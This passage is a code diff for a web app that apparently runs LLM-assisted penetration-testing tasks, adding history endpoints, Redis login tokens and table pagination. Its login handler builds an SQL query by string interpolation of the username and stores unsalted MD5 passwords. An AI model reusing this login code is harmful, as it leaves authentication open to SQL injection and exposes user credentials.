-59,24 +68,24 @@ async def get_task_list(): @api.route('/task/getinstr',methods=['POST']) async def get_instr(): data = await request.get_json() - task_id = data.get("task_id") + task_id = data.get("cur_task_id") node_name = data.get("nodeName") if not task_id: return jsonify({'error': 'Missing task_id'}), 400 instrs = app_DBM.get_task_instrs(task_id,node_name) - return jsonify(instrs) + return jsonify({"instrs":instrs}) @api.route('/task/getvul',methods=['POST']) async def get_vul(): data = await request.get_json() - task_id = data.get("task_id") + task_id = data.get("cur_task_id") node_name = data.get("nodeName") vul_type = data.get("vulType") vul_level = data.get("vulLevel") if not task_id: return jsonify({'error': 'Missing task_id'}), 400 vuls = app_DBM.get_task_vul(task_id,node_name,vul_type,vul_level) - return jsonify(vuls) + return jsonify({"vuls":vuls}) @api.route('/task/gettree',methods=['POST']) async def get_tree(): @@ -87,6 +96,15 @@ async def get_tree(): tree_dict = g_TaskM.get_node_tree(task_id) return jsonify({"tree":tree_dict}) +@api.route('/task/gethistree',methods=['POST']) +async def get_his_tree(): + data = await request.get_json() + task_id = data.get("task_id") + if not task_id: + return jsonify({'error': 'Missing task_id'}), 400 + tree_dict = g_TaskM.get_his_node_tree(task_id) + return jsonify({"tree":tree_dict}) + @api.route('/task/taskcontrol',methods=['POST']) async def task_status_control(): '''控制任务状态 @@ -160,6 +178,18 @@ async def node_get_instr(): todoInstrs = g_TaskM.get_task_node_todo_instr(task_id,nodepath) return jsonify({"doneInstrs":doneInstrs,"todoInstrs":todoInstrs}) +@api.route('/task/hisnodegetinstr',methods=['POST']) +async def his_node_get_instr(): + data = await request.get_json() + task_id = data.get("task_id") + nodepath = data.get("node_path") + if not task_id: + return jsonify({'error': 'Missing task_id'}), 400 + #返回 { doneInstrs: [...], todoInstrs: [...] } + doneInstrs = app_DBM.get_task_node_done_instr(task_id,nodepath) + #todoInstrs = g_TaskM.get_task_node_todo_instr(task_id,nodepath) + return jsonify({"doneInstrs":doneInstrs}) + @api.route('/task/nodegetmsg',methods=['POST']) async def node_get_msg(): data = await request.get_json() @@ -194,6 +224,17 @@ async def node_del_instr(): return jsonify({"bsuccess": bsuccess, "error": error}) +@api.route('/task/histasks',methods=['POST']) +async def get_his_task(): + data = await request.get_json() + target_name = data.get("target_name") + safe_rank = data.get("safe_rank") + llm_type = data.get("llm_type") + start_time= data.get("start_time") + end_time= data.get("end_time") + his_tasks = g_TaskM.get_his_tasks(target_name,safe_rank,llm_type,start_time,end_time) + return jsonify({"his_tasks":his_tasks}) + diff --git a/web/API/user.py b/web/API/user.py index fabaadb..9b4a928 100644 --- a/web/API/user.py +++ b/web/API/user.py @@ -1,14 +1,15 @@ import os import hashlib +import uuid +import aioredis from mycode.DBManager import app_DBM -from quart import Quart, render_template, request, session, redirect, url_for,jsonify,send_file,flash +from quart import Quart, render_template, request, session, redirect, url_for,jsonify,send_file,flash,current_app from quart_sqlalchemy import SQLAlchemy from quart_session import Session from web.common.utils import generate_captcha,login_required from myutils.ConfigManager import myCongif -from . import api from web.common.errors import handle_error - +from . import api @api.route('/user/code',methods=['GET']) async def user_get_code(): #获取验证码 @@ -38,13 +39,18 @@ async def user_login(): #用户登录 #return jsonify({'error': '验证码错误'}), 400 #return 'captcha error!', 400 #比对用户名和密码 - strsql = f"select password from user where username = '{username}'" + strsql = f"select password from user where username = '{username}';" db_password = app_DBM.do_select(strsql,1) passwd_md5 = get_md5(password) if db_password: if db_password[0] == passwd_md5: #后续需要对密码进行MD5加默 - print("登录成功") + # 生成新的登录 token + login_token = uuid.uuid4().hex + # 写入 Redis：key = user_token: + await current_app.redis.set(f"user_token:{username}", login_token) session['user'] = username + session['token'] = login_token + return redirect(url_for('main.get_html', html='index.html')) await flash('用户名或密码错误', 'error') return redirect(url_for('main.login')) @@ -52,7 +58,7 @@ async def user_login(): #用户登录 @api.route('/user/userinfo',methods=['GET']) @login_required async def user_info(): #获取用户列表 - strsql = "select username,status,people,tellnum from user;"; + strsql = "select username,status,people,tellnum from user;" data = app_DBM.do_select(strsql) if data: user_list = [{"username": user[0], "status": user[1], @@ -61,6 +67,14 @@ async def user_info(): #获取用户列表 else: return jsonify(0) +#登出接口，清除 Redis 和 Session --- +@api.route('/user/logout') +async def user_logout(): + username = session.get('user') + if username: + await current_app.redis.delete(f"user_token:{username}") + session.clear() + return redirect(url_for('main.login')) @api.route('/user/adduser',methods=['POST']) @login_required diff --git a/web/__init__.py b/web/__init__.py index fe7bdf0..a3fa12d 100644 --- a/web/__init__.py +++ b/web/__init__.py @@ -40,21 +40,16 @@ def create_app(): app.config['SESSION_PERMANENT'] = True # 如果设置为True，则关闭浏览器session就失效。 app.config['SESSION_USE_SIGNER'] = False # 是否对发送到浏览器上session的cookie值进行加密 app.config['SESSION_TYPE'] = 'redis' # session类型 - app.config['SESSION_REDIS'] = aioredis.from_url('redis://localhost:6379') + redis_client = aioredis.from_url('redis://localhost:6379', encoding="utf-8",decode_responses=True) + app.config['SESSION_REDIS'] = redis_client Session(app) + # 同时把一个全局 redis 客户端挂到 app + app.redis = redis_client + # 注册main app.register_blueprint(main) #注册API模块 app.register_blueprint(api,url_prefix = '/api') return app - -def login_required(f): - @wraps(f) - async def decorated_function(*args, **kwargs): - if 'user' not in session: - return redirect(url_for('main.login')) - return await f(*args, **kwargs) - return decorated_function - diff --git a/web/common/utils.py b/web/common/utils.py index 17a03c5..96103a5 100644 --- a/web/common/utils.py +++ b/web/common/utils.py @@ -3,7 +3,7 @@ import random import string import io from functools import wraps -from quart import session, redirect, url_for +from quart import session, redirect, url_for, flash,current_app def generate_captcha(): characters = string.ascii_uppercase + string.digits @@ -37,7 +37,19 @@ def verify_captcha(user_input, actual_captcha): def login_required(f): @wraps(f) async def decorated_function(*args, **kwargs): - if 'user' not in session: - return redirect(url_for('main.index',error='未登录，请重新登录')) + username = session.get('user') + token = session.get('token') + if not username or not token: + await flash('未登录，请重新登录', 'error') + return redirect(url_for('main.login')) + #从redis取最新的token + redis_key = f"user_token:{username}" + server_token = await current_app.redis.get(redis_key) + if server_token is None or server_token != token: + # 如果不匹配，说明此账号已在其他地方登录 + session.clear() + await flash('您的账号已在其他设备登录，请重新登录', 'error') + return redirect(url_for('main.login')) + return await f(*args, **kwargs) return decorated_function diff --git a/web/main/routes.py b/web/main/routes.py index f85a39c..4c06210 100644 --- a/web/main/routes.py +++ b/web/main/routes.py @@ -5,24 +5,16 @@ from quart import session, redirect, url_for,flash from functools import wraps from myutils.ConfigManager import myCongif from werkzeug.utils import secure_filename - +from web.common.utils import login_required ''' 页面路由 ''' -def login_required(f): - @wraps(f) - async def decorated_function(*args, **kwargs): - if 'user' not in session: - return redirect(url_for('main.login',error='未登录，请重新登录')) - return await f(*args, **kwargs) - return decorated_function + @main.route('/') async def index(): - #return await render_template('实时预览.html') return await render_template('login.html') - #return await render_template('index_webrtc.html') @main.route('/login', methods=['GET', 'POST']) async def login(): diff --git a/web/main/static/resources/scripts/node_tree.js b/web/main/static/resources/scripts/node_tree.js index 2250190..8b97fb3 100644 --- a/web/main/static/resources/scripts/node_tree.js +++ b/web/main/static/resources/scripts/node_tree.js @@ -373,7 +373,6 @@ let todoInstrs = []; // 待执行指令的所有数据 let donePage = 1; // 已执行指令当前页 let todoPage = 1; // 待执行指令当前页 - const pageSize = 10; // 每页固定显示 10 行 document.getElementById("msgModal").addEventListener("hidden.bs.modal", () => { document.activeElement.blur(); // 清除当前焦点 diff --git a/web/main/static/resources/scripts/task_manager.js b/web/main/static/resources/scripts/task_manager.js index c7d9ba6..3b5f633 100644 --- a/web/main/static/resources/scripts/task_manager.js +++ b/web/main/static/resources/scripts/task_manager.js @@ -37,12 +37,13 @@ document.addEventListener("DOMContentLoaded", async () => { const manualRadio = document.getElementById("manualMode"); autoRadio.addEventListener("click", () => updateTestMode(1)); manualRadio.addEventListener("click", () => updateTestMode(0)); + //tab页点击刷新数据 + document.getElementById("testInstructionsTab").addEventListener("click",()=>searchInstructions()); + document.getElementById("vulnerabilitiesTab").addEventListener("click",()=>searchVulnerabilities()); + //指令和漏洞数据的导出按钮点击事件 + document.getElementById("instrExportBtn").addEventListener("click",()=>ExportInstructions()); + document.getElementById("vulExportBtn").addEventListener("click",()=>ExportVuls()); - //双击任务列表节点读取数据 - searchInstructions(); - searchVulnerabilities(); - // renderTableRows(document.querySelector("#instrTable tbody"), []); - // renderTableRows(document.querySelector("#vulTable tbody"), []); }); @@ -146,6 +147,11 @@ function selected_task_item(){ setSetpBtnStatus() //加载任务其他信息--node_tree.js loadNodeTree(cur_task_id); + //加载测试指令和漏洞数据 + searchInstructions(); + searchVulnerabilities(); + // renderTableRows(document.querySelector("#instrTable tbody"), []); + // renderTableRows(document.querySelector("#vulTable tbody"), []); } //--------------------任务基本信息区域-------------------- @@ -367,6 +373,7 @@ async function one_step_task(){ } //------------------测试数据和漏洞数据tab------------------- +const pageSize = 10; // 复用：根据返回的数据数组渲染表格 tbody，保证固定 10 行 function renderTableRows(tbody, rowsData) { tbody.innerHTML = ""; @@ -383,7 +390,7 @@ function renderTableRows(tbody, rowsData) { }); // 补足空行 const rowCount = rowsData.length; - for (let i = rowCount; i < 10; i++) { + for (let i = rowCount; i < pageSize; i++) { const tr = document.createElement("tr"); for (let j = 0; j < tbody.parentElement.querySelectorAll("th").length; j++) { const td = document.createElement("td"); @@ -394,37 +401,87 @@ function renderTableRows(tbody, rowsData) { } } +//--------------------------测试指令------------------------------- +let allInstrs = []; +let currentInstrPage = 1; +function renderInstrPage(page) { + currentInstrPage = page; + const start = (page - 1) * pageSize; + const end = start + pageSize; + const pageData = allInstrs.slice(start, end); + + const tbody = document.querySelector("#instrTable tbody"); + renderTableRows(tbody, pageData); + + // 更新分页按钮 + document.getElementById("instrPrev").dataset.page = page > 1 ? page - 1 : 1; + document.getElementById("instrNext").dataset.page = (end < allInstrs.length) ? page + 1 : page; +} + // 查询测试指令 async function searchInstructions(page = 1) { if(cur_task_id === 0){ return; } - const nodeName = document.getElementById("instrNodeName").value.trim(); - try { - const res = await fetch("/api/task/getinstr", { - method: "POST", - headers: { - "Content-Type": "application/json", - }, - body: JSON.stringify({ - cur_task_id, - nodeName - }), - }); - if (!res.ok) { - const errorData = await res.json(); - throw new Error(errorData.error || `HTTP错误 ${res.status}`); - } - const data = await res.json(); - // data.instrs 数组中包含查询结果 - renderTableRows(document.querySelector("#instrTable tbody"), data.instrs || []); - // 此处可更新分页控件（示例只简单绑定上一页下一页） - document.getElementById("instrPrev").dataset.page = page > 1 ? page - 1 : 1; - document.getElementById("instrNext").dataset.page = page + 1; - } catch (error) { - console.error("获取测试指令失败：", error); - } - } + const nodeName = document.getElementById("instrNodeName").value.trim(); + try { + const res = await fetch("/api/task/getinstr", { + method: "POST", + headers: { + "Content-Type": "application/json", + }, + body: JSON.stringify({ + cur_task_id, + nodeName + }), + }); + if (!res.ok) { + const errorData = await res.json(); + throw new Error(errorData.error || `HTTP错误 ${res.status}`); + } + const data = await res.json(); + allInstrs = data.instrs; + renderInstrPage(1); //显示第一页数据 + } catch (error) { + console.error("获取测试指令失败：", error); + } +} + +//导出测试指令数据 +async function ExportInstructions(){ + alert("导出指令功能实现中。。。"); +} + +// 绑定测试指令查询按钮事件 +document.getElementById("instrSearchBtn").addEventListener("click", () => { + searchInstructions(); +}); +// 绑定测试指令分页点击事件 +document.getElementById("instrPrev").addEventListener("click", (e) => { + const page = parseInt(e.target.dataset.page, 10); + renderInstrPage(page); +}); +document.getElementById("instrNext").addEventListener("click", (e) => { + const page = parseInt(e.target.dataset.page, 10); + renderInstrPage(page); +}); + +//------------------漏洞数据--------------------------------- +let allVuls = []; +let currentVulPage = 1; +function renderVulPage(page) { + currentVulPage = page; + const start = (page - 1) * pageSize; + const end = start + pageSize; + const pageData = allVuls.slice(start, end); + + const tbody = document.querySelector("#vulTable tbody"); + renderTableRows(tbody, pageData); + + // 更新分页按钮 + document.getElementById("vulPrev").dataset.page = page > 1 ? page - 1 : 1; + document.getElementById("vulNext").dataset.page = (end < allVuls.length) ? page + 1 : page; +} // 查询漏洞数据 async function searchVulnerabilities(page = 1) { @@ -450,27 +507,17 @@ async function searchVulnerabilities(page = 1) { throw new Error(errorData.error || `HTTP错误 ${res.status}`); } const data = await res.json(); - renderTableRows(document.querySelector("#vulTable tbody"), data.vuls || []); - document.getElementById("vulPrev").dataset.page = page > 1 ? page - 1 : 1; - document.getElementById("vulNext").dataset.page = page + 1; + allVuls = data.vuls; + renderVulPage(1) } catch (error) { console.error("获取漏洞数据失败：", error); } } -// 绑定测试指令查询按钮事件 -document.getElementById("instrSearchBtn").addEventListener("click", () => { - searchInstructions(); -}); -// 绑定测试指令分页点击事件 -document.getElementById("instrPrev").addEventListener("click", (e) => { - e.preventDefault(); - searchInstructions(parseInt(e.target.dataset.page)); -}); -document.getElementById("instrNext").addEventListener("click", (e) => { - e.preventDefault(); - searchInstructions(parseInt(e.target.dataset.page)); -}); +//导出漏洞数据 +async function ExportVuls(){ + alert("导出漏洞功能实现中。。。"); +} // 绑定漏洞数据查询按钮事件 document.getElementById("vulSearchBtn").addEventListener("click", () => { @@ -478,10 +525,10 @@ document.getElementById("vulSearchBtn").addEventListener("click", () => { }); // 绑定漏洞数据分页点击事件 document.getElementById("vulPrev").addEventListener("click", (e) => { - e.preventDefault(); - searchVulnerabilities(parseInt(e.target.dataset.page)); + const page = parseInt(e.target.dataset.page, 10); + renderVulPage(page); }); document.getElementById("vulNext").addEventListener("click", (e) => { - e.preventDefault(); - searchVulnerabilities(parseInt(e.target.dataset.page)); + const page = parseInt(e.target.dataset.page, 10); + renderVulPage(page); }); diff --git a/web/main/static/resources/scripts/task_modal.js b/web/main/static/resources/scripts/task_modal.js new file mode 100644 index 0000000..9aa9097 --- /dev/null +++ b/web/main/static/resources/scripts/task_modal.js @@ -0,0 +1,659 @@ + // 全局变量，用于保存当前选中的节点数据 + let selectedNodeData = null; + + /** + * 根据节点数据递归生成树形结构（返回
  • 元素） + * 假设节点数据格式： + * { + * "node_name":node.name, + * "node_path":node.path, + * "node_status":node.status, + * "node_bwork":node.bwork, + * "node_vultype":node.vul_type, + * "node_vulgrade":node.vul_grade, + * children: [ { ... }, { ... } ] + * } + */ + function generateTreeHTML(nodeData) { + const li = document.createElement("li"); + const nodeSpan = document.createElement("span"); + nodeSpan.className = "tree-node"; + //设置data属性 + nodeSpan.setAttribute("data-node_name", nodeData.node_name); + nodeSpan.setAttribute("data-node_path", nodeData.node_path); + nodeSpan.setAttribute("data-node_status", nodeData.node_status); + nodeSpan.setAttribute("data-node_bwork", nodeData.node_bwork); + nodeSpan.setAttribute("data-node_vultype", nodeData.node_vultype); + nodeSpan.setAttribute("data-node_vulgrade", nodeData.node_vulgrade || ""); + nodeSpan.setAttribute("data-node_workstatus",nodeData.node_workstatus); + if(nodeData.node_workstatus ===0){ + nodeSpan.classList.add("no-work"); + }else { + nodeSpan.classList.remove("no-work"); + } + // 根据漏洞级别添加样式 + if (nodeData.node_vulgrade) { + nodeSpan.classList.remove("no-work"); + if (nodeData.node_vulgrade === "低危") { + nodeSpan.classList.add("vul-low"); + } else if (nodeData.node_vulgrade === "中危") { + nodeSpan.classList.add("vul-medium"); + } else if (nodeData.node_vulgrade === "高危") { + nodeSpan.classList.add("vul-high"); + } + } + // 创建容器用于存放切换图标与文本 + const container = document.createElement("div"); + container.className = "node-container"; + // 如果有子节点，则添加切换图标 + if (nodeData.children && nodeData.children.length > 0) { + const toggleIcon = document.createElement("span"); + toggleIcon.className = "toggle-icon"; + toggleIcon.textContent = "-"; // 默认展开时显示“-” + container.appendChild(toggleIcon); + } + //节点文本 + const textSpan = document.createElement("span"); + textSpan.className = "node-text"; + textSpan.textContent = nodeData.node_name; + container.appendChild(textSpan); + nodeSpan.appendChild(container); + li.appendChild(nodeSpan); + //如果存在子节点，递归生成子节点列表 + if (nodeData.children && nodeData.children.length > 0) { + const ul = document.createElement("ul"); + nodeData.children.forEach((child) => { + ul.appendChild(generateTreeHTML(child)); + }); + li.appendChild(ul); + } + return li; + } + + // 绑定所有节点的点击事件 + function bindTreeNodeEvents() { + document.querySelectorAll(".tree-node").forEach((el) => { + el.addEventListener("click", (event) => { + // 阻止事件冒泡，避免点击时展开折叠影响 + event.stopPropagation(); + // 清除之前选中的节点样式 + document + .querySelectorAll(".tree-node.selected") + .forEach((node) => node.classList.remove("selected")); + // 当前节点标记为选中 + el.classList.add("selected"); + // 读取 data 属性更新右侧显示 + const nodeName = el.getAttribute("data-node_name"); + const status = el.getAttribute("data-node_status"); + const nodepath = el.getAttribute("data-node_path"); + const nodebwork = el.getAttribute("data-node_bwork"); + const vulType = el.getAttribute("data-node_vultype"); + const vulLevel = el.getAttribute("data-node_vulgrade"); + const workstatus = el.getAttribute("data-node_workstatus"); + //selectedNodeData = { nodeName, status, vulType, vulLevel,nodepath,nodebwork }; + // 示例中默认填充 + selectedNodeData = { + node_name: nodeName, + node_path: nodepath, + status: status, + node_bwork: nodebwork, + vul_type: vulType, + vul_grade: vulLevel || "-", + workstatus: workstatus + }; + //刷新界面内容 + update_select_node_data_show(nodeName,status,vulType,vulLevel,workstatus,nodebwork) + }); + // 双击事件：展开/收缩子节点区域 + el.addEventListener("dblclick", (event) => { + event.stopPropagation(); + // 找到该节点下的
      子节点列表 + const parentLi = el.parentElement; + const childUl = parentLi.querySelector("ul"); + if (childUl) { + // 切换 collapsed 类，控制 display + childUl.classList.toggle("collapsed"); + // 更新切换图标 + const toggleIcon = el.querySelector(".toggle-icon"); + if (toggleIcon) { + toggleIcon.textContent = childUl.classList.contains("collapsed") + ? "+" + : "-"; + } + } + }); + }); + } + + // 动态加载节点树数据 + async function loadNodeTree(task_id) { + // 清空选中状态 + selectedNodeData = null; + //刷新界面内容 + update_select_node_data_show("-","-","-","-","-",false) + try { + const res = await fetch("/api/task/gethistree", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ task_id }), //task_id:task_id + }); + if (!res.ok) { + const errorData = await res.json(); + throw new Error(errorData.error || `HTTP错误 ${res.status}`); + } + const data = await res.json(); + const treeData = data.tree; + if (!treeData) { + document.getElementById("treeContent").innerHTML = + "

      无节点数据

      "; + return; + } + + // 创建一个
        作为树的根容器 + const ul = document.createElement("ul"); + ul.className = "tree-root-ul"; + ul.appendChild(generateTreeHTML(treeData)); + // 替换节点树容器的内容 + const container = document.getElementById("treeContent"); + container.innerHTML = ""; + container.appendChild(ul); + // 绑定节点点击事件 + bindTreeNodeEvents(); + } catch (error) { + console.error("加载节点树失败：", error); + document.getElementById("treeContent").innerHTML = "

        加载节点树失败

        "; + } + } + + function getWorkStatus_Str(workstatus){ + strworkstatus = "" + switch (workstatus){ + case 0: + strworkstatus = "无待执行任务"; + break; + case 1: + strworkstatus = "待执行指令中"; + break; + case 2: + strworkstatus = "指令执行中"; + break; + case 3: + strworkstatus = "待提交llm中"; + break; + case 4: + strworkstatus = "提交llm中"; + break; + default: + strworkstatus = "-" + } + return strworkstatus + } + + //根据web端过来的数据，更新节点的工作状态 + function updateTreeNode(node_path, node_workstatus) { + // 根据 node_path 查找对应节点（假设每个 .tree-node 上设置了 data-node_path 属性） + const nodeEl = document.querySelector(`.tree-node[data-node_path="${node_path}"]`); + if (nodeEl) { + // 更新 DOM 属性（属性值均为字符串） + nodeEl.setAttribute("data-node_workstatus", node_workstatus); + //判断是否需要更新界面 + if(selectedNodeData){ + if(node_path === selectedNodeData.node_path){ //只有是当前选中节点才更新数据 + selectedNodeData.workstatus = node_workstatus; + strnew = getWorkStatus_Str(node_workstatus); + document.getElementById("node_workstatus").textContent = strnew; + } + } + } else { + console.warn(`未找到节点 ${node_path}`); + } + } + + //刷新节点的数据显示 + function update_select_node_data_show(nodeName,testStatus,vulType,vulLevel,workStatus,nodebwork){ + document.getElementById("nodeName").textContent = nodeName; + document.getElementById("testStatus").textContent = testStatus; + document.getElementById("node_vulType").textContent = vulType; + document.getElementById("node_vulLevel").textContent = vulLevel; + str_workStatus = getWorkStatus_Str(Number(workStatus)); + document.getElementById("node_workstatus").textContent = str_workStatus; + if(nodebwork==="true"){ + document.getElementById("node_bwork").textContent = "执行中"; + }else { + document.getElementById("node_bwork").textContent = "暂停中"; + } + setNodeBtnStatus(); + } + + //节点按钮的状态控制 + function setNodeBtnStatus(){ + const btn_VI = document.getElementById("btnViewInstr"); + if(!selectedNodeData){ + //没有选择node，按钮全部置不可用 + btn_VI.disabled = true; + btn_VI.classList.add("disabled-btn"); + } + else{ + btn_VI.disabled = false; + btn_VI.classList.remove("disabled-btn"); + } + } + + // // 刷新按钮事件绑定 + // document.getElementById("btnRefresh").addEventListener("click", () => { + // // 重新加载节点树数据 + // loadNodeTree(cur_task_id); + // }); + + // 按钮事件：当未选中节点时提示 + function checkSelectedNode() { + if (!selectedNodeData) { + alert("请先选择节点"); + return false; + } + return true; + } + + //----------------------查看节点--指令modal---------------------------- + let doneInstrs = []; // 已执行指令的所有数据 + let todoInstrs = []; // 待执行指令的所有数据 + let donePage = 1; // 已执行指令当前页 + let todoPage = 1; // 待执行指令当前页 + + document.getElementById("btnViewInstr").addEventListener("click", () => { + if (!checkSelectedNode()) return; + openInstrModal() + }); + // 打开对话框函数 + function openInstrModal() { + const instrCanvas = new bootstrap.Offcanvas(document.getElementById('instrCanvas')); + instrCanvas.show(); + + // const modalEl = document.getElementById("instrModal"); + // // 假设用 Bootstrap 5 的 Modal 组件 + // const instrModal = new bootstrap.Modal(modalEl, {keyboard: false}); + // 显示对话框 + //instrModal.show(); + + // 在打开 modal 时，先更新提示内容，将 loadingMsg 显示“请稍后，数据获取中…” + const loadingMsg = document.getElementById("loadingMsg"); + if (loadingMsg) { + loadingMsg.textContent = "请稍后，数据获取中..."; + } + + // 加载指令数据 + loadInstrData(); + } + + // 调用后端接口，获取指令数据 + async function loadInstrData() { + task_id = cur_task_id; + node_path = selectedNodeData.node_path; + try { + const res = await fetch("/api/task/hisnodegetinstr", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({task_id,node_path}), + }); + if (!res.ok) { + const errorData = await res.json(); + throw new Error(errorData.error || `HTTP错误 ${res.status}`); + } + const data = await res.json(); + // 数据获取成功后，清除加载提示 + const loadingMsg = document.getElementById("loadingMsg"); + if (loadingMsg) { + loadingMsg.style.display = "none"; // 或者清空其 innerHTML + } + doneInstrs = data.doneInstrs || []; + //todoInstrs = data.todoInstrs || []; + donePage = 1; + todoPage = 1; + renderDoneInstrTable(donePage); + //renderTodoInstrTable(todoPage); + } catch (error) { + console.error("加载指令数据异常:", error); + } + } + + // 渲染已执行指令表格 + function renderDoneInstrTable(page) { + const tbody = document.getElementById("doneInstrTbody"); + // 计算起始索引 + const startIndex = (page - 1) * pageSize; + const endIndex = startIndex + pageSize; + const pageData = doneInstrs.slice(startIndex, endIndex); +//select instruction,start_time,result from task_result where task_id=%s and node_path=%s; + tbody.innerHTML = ""; + // 插入行 + pageData.forEach((item, i) => { + const tr = document.createElement("tr"); + + // 第一列：序号 + const tdIndex = document.createElement("td"); + tdIndex.textContent = startIndex + i + 1; + tr.appendChild(tdIndex); + + // 第二列：指令内容 + const tdInstr = document.createElement("td"); + tdInstr.textContent = item[0]; + tr.appendChild(tdInstr); + + // 第三列：开始时间（如果没有则显示空字符串） + const tdStartTime = document.createElement("td"); + tdStartTime.textContent = item[1] || ""; + tr.appendChild(tdStartTime); + + // 第四列：执行结果 + const tdResult = document.createElement("td"); + tdResult.textContent = item[2] || ""; + tr.appendChild(tdResult); + + tbody.appendChild(tr); + }); + + // 若不足 10 行，补空行 + for (let i = pageData.length; i < pageSize; i++) { + const tr = document.createElement("tr"); + tr.innerHTML = ` +   +   +   +   + `; + tbody.appendChild(tr); + } + } + + // 渲染待执行指令表格 + function renderTodoInstrTable(page) { + const tbody = document.getElementById("todoInstrTbody"); + const startIndex = (page - 1) * pageSize; + const endIndex = startIndex + pageSize; + const pageData = todoInstrs.slice(startIndex, endIndex); + + tbody.innerHTML = ""; + pageData.forEach((item, i) => { + const tr = document.createElement("tr"); + const idx = startIndex + i + 1; + // 第一列：序号 + const tdIndex = document.createElement("td"); + tdIndex.textContent = idx; + tr.appendChild(tdIndex); + + // 第二列：指令文本内容（直接使用 textContent） + const tdItem = document.createElement("td"); + tdItem.textContent = item; // 使用 textContent 避免 HTML 解析 + tr.appendChild(tdItem); + + // 第三列：复制和删除按钮 + const tdAction = document.createElement("td"); + // const btn_cp = document.createElement("button"); + // btn_cp.className = "btn btn-primary btn-sm"; + // btn_cp.textContent = "复制"; + // btn_cp.style.marginRight = "2px"; // 设置间隔 + // btn_cp.onclick = () => confirmCopyTodoInstr(idx - 1); + // tdAction.appendChild(btn_cp); + const btn = document.createElement("button"); + btn.className = "btn btn-danger btn-sm"; + btn.textContent = "删除"; + btn.onclick = () => confirmDeleteTodoInstr(idx - 1); + tdAction.appendChild(btn); + tr.appendChild(tdAction); + + tbody.appendChild(tr); + }); + + // 补空行 + for (let i = pageData.length; i < pageSize; i++) { + const tr = document.createElement("tr"); + tr.innerHTML = ` +   +   +   + `; + tbody.appendChild(tr); + } + } + + // 分页事件 + document.getElementById("doneInstrPrev").addEventListener("click", (e) => { + e.preventDefault(); + if (donePage > 1) { + donePage--; + renderDoneInstrTable(donePage); + } + }); + document.getElementById("doneInstrNext").addEventListener("click", (e) => { + e.preventDefault(); + const maxPage = Math.ceil(doneInstrs.length / pageSize); + if (donePage < maxPage) { + donePage++; + renderDoneInstrTable(donePage); + } + }); + document.getElementById("todoInstrPrev").addEventListener("click", (e) => { + e.preventDefault(); + if (todoPage > 1) { + todoPage--; + renderTodoInstrTable(todoPage); + } + }); + document.getElementById("todoInstrNext").addEventListener("click", (e) => { + e.preventDefault(); + const maxPage = Math.ceil(todoInstrs.length / pageSize); + if (todoPage < maxPage) { + todoPage++; + renderTodoInstrTable(todoPage); + } + }); + + // 导出当前页数据 + document.getElementById("btnExport").addEventListener("click", () => { + // 判断当前是哪个 Tab + const activeTab = document.querySelector("#instrTab button.nav-link.active"); + if (activeTab.id === "doneInstrTab") { + exportCurrentPage(doneInstrs, donePage, ["序号", "执行指令", "执行时间", "执行结果"]); + } else { + exportCurrentPage(todoInstrs, todoPage, ["序号", "待执行指令"]); + } + }); + + function exportCurrentPage(dataArr, page, headerArr) { + const startIndex = (page - 1) * pageSize; + const endIndex = startIndex + pageSize; + const pageData = dataArr.slice(startIndex, endIndex); + + // 在 CSV 的开头加上 BOM，用于 Excel 识别 UTF-8 编码 + let csvContent = "\uFEFF" + headerArr.join(",") + "\n"; + pageData.forEach((item, i) => { + const rowIndex = startIndex + i + 1; + if (headerArr.length === 4) { + // 已执行：序号，执行指令，执行时间，执行结果 + csvContent += rowIndex + "," + + (item.command || "") + "," + + (item.execTime || "") + "," + + (item.result || "") + "\n"; + } else { + // 待执行：序号，待执行指令 + csvContent += rowIndex + "," + (item.command || "") + "\n"; + } + }); + // 如果不足 pageSize 行，补足空行（根据列数进行适当补全） + for (let i = pageData.length; i < pageSize; i++) { + // 根据 headerArr.length 来设置空行的格式 + if (headerArr.length === 4) { + csvContent += ",,,\n"; + } else { + csvContent += ",\n"; + } + } + + const blob = new Blob([csvContent], { type: "text/csv;charset=utf-8;" }); + const url = URL.createObjectURL(blob); + const link = document.createElement("a"); + link.href = url; + link.download = "指令导出.csv"; + link.click(); + URL.revokeObjectURL(url); + } + +//------------------测试数据和漏洞数据tab------------------- +// 复用：根据返回的数据数组渲染表格 tbody，保证固定 10 行 +function renderTableRows(tbody, rowsData) { + tbody.innerHTML = ""; + // 遍历数据行，生成 + rowsData.forEach((row, index) => { + const tr = document.createElement("tr"); + // 这里假设 row 为对象，包含各个字段；下标从1开始显示序号 + for (const cellData of Object.values(row)) { + const td = document.createElement("td"); + td.textContent = cellData; + tr.appendChild(td); + } + tbody.appendChild(tr); + }); + // 补足空行 + const rowCount = rowsData.length; + for (let i = rowCount; i < pageSize; i++) { + const tr = document.createElement("tr"); + for (let j = 0; j < tbody.parentElement.querySelectorAll("th").length; j++) { + const td = document.createElement("td"); + td.innerHTML = " "; + tr.appendChild(td); + } + tbody.appendChild(tr); + } +} + +//--------------------------测试指令------------------------------- +let allInstrs = []; +let currentInstrPage = 1; +function renderInstrPage(page) { + currentInstrPage = page; + const start = (page - 1) * pageSize; + const end = start + pageSize; + const pageData = allInstrs.slice(start, end); + + const tbody = document.querySelector("#instrTable tbody"); + renderTableRows(tbody, pageData); + + // 更新分页按钮 + document.getElementById("instrPrev").dataset.page = page > 1 ? page - 1 : 1; + document.getElementById("instrNext").dataset.page = (end < allInstrs.length) ? page + 1 : page; +} + +// 查询测试指令 +async function searchInstructions(page = 1) { + if(cur_task_id === 0){ + return; + } + const nodeName = document.getElementById("instrNodeName").value.trim(); + try { + const res = await fetch("/api/task/getinstr", { + method: "POST", + headers: { + "Content-Type": "application/json", + }, + body: JSON.stringify({ + cur_task_id, + nodeName + }), + }); + if (!res.ok) { + const errorData = await res.json(); + throw new Error(errorData.error || `HTTP错误 ${res.status}`); + } + const data = await res.json(); + allInstrs = data.instrs; + renderInstrPage(1); //显示第一页数据 + } catch (error) { + console.error("获取测试指令失败：", error); + } +} + +//导出测试指令数据 +async function ExportInstructions(){ + alert("导出指令功能实现中。。。") +} + +// 绑定测试指令查询按钮事件 +document.getElementById("instrSearchBtn").addEventListener("click", () => { + searchInstructions(); +}); +// 绑定测试指令分页点击事件 +document.getElementById("instrPrev").addEventListener("click", (e) => { + const page = parseInt(e.target.dataset.page, 10); + renderInstrPage(page); +}); +document.getElementById("instrNext").addEventListener("click", (e) => { + const page = parseInt(e.target.dataset.page, 10); + renderInstrPage(page);; +}); + +//------------------漏洞数据--------------------------------- +let allVuls = []; +let currentVulPage = 